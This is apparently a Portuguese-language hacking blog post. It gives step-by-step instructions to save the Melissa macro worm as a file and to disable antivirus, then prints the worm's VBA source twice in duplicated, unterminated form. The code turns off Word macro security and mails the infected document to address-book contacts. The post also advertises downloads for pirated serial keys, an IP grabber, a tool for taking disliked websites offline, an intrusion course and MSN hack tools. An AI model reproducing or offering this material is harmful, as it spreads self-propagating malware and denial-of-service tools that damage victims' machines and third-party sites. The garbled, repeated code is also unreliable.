1º Abra o Bloco de Notas e Cole o Código a baixo
2º Salva com o nome Melissa.vbs
Um conselho naum vá achando que o .VBS é igual ao .BAT não então nem teste se não quiser ver a desgraça no seu PC
Olha é aconselhavél que você desative seu antivirus se não ele não vai deixar você fazer ele. É old mais é legal.
Olha é aconselhavél que você desative seu antivirus se não ele não vai deixar você fazer ele. É old mais é legal.
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) <> “”
Then
CommandBars(“Macro”).Controls(“Security…”).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) <> “… by Kwyjibo”
Then
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = “Important Message From ” &
Application.UserName
BreakUmOffASlice.Body = “Here is that document you asked for … don’t
show anyone else Wink”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = “”
On Error Resume Next
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) <> “”
Then
CommandBars(“Macro”).Controls(“Security…”).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) <> “… by Kwyjibo”
Then
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = “Important Message From ” &
Application.UserName
BreakUmOffASlice.Body = “Here is that document you asked for … don’t
show anyone else Wink”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = “”
Esse virus faz com que o PC da vitima fique completamente louco
Não seja Noob by : Play Foox
The Black Snow - 1 Milhão de Seriais - Download
Programa com um Banco de Dados de 1 Milhão de Seriais, Ideal para você! - Agora vc registra aquele programinha que nao conseguia o serial!!
Não precisa pausar o anti-vírus
Capturar ip Download
Programinha simples, feito para capturar o ip do site desejado, bastando apenas digitar o endereço eletronico (ex.: www.onomedosite.com.br).
Sprut Download
O Sprut é um ótimo programa para derrubar site, blog, etc. Ele é fácil de se usar e eficiente quando é executado, deixe qualquer site que você não gosta ou teve algum atrito, em off já. Em hostname or IP-adress você só precisa por o IP "daquele" site, dai ele faz todo o resto do trabalho.
OBS: Se tem net de discada, nem tente úsá-lo, se não irá se travar junto.
OBS: Se tem net de discada, nem tente úsá-lo, se não irá se travar junto.
Curso Básico de Invasão de Computadores
Guia para invasão de computadores. Que não deve ser usado para o mal e sim para estudo sobre segurança. Não nos responsabilizamos pelo mau uso do Curso e os programas citados no mesmo. O Curso é beem básico, ninguém vai invadir a NASA com isso não…
Formato: Rar (Pdf)
Tamanho: 2 Mb
Hacks para o MSN
Descrição:Pack reunindo algumas ferramentas hacks para o Msn. *Atenção: Use por sua conta e risco e não venham aqui lotar os comentários de besteirol.Tamanho: 3 mb
Hospedagem: EasyShare / BitRoad
DOWNLOAD
0 comentários:
Enviar um comentário